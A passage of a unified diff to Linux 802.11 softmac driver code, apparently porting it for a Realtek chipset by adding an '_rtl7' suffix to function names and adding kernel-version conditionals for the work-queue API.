IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data 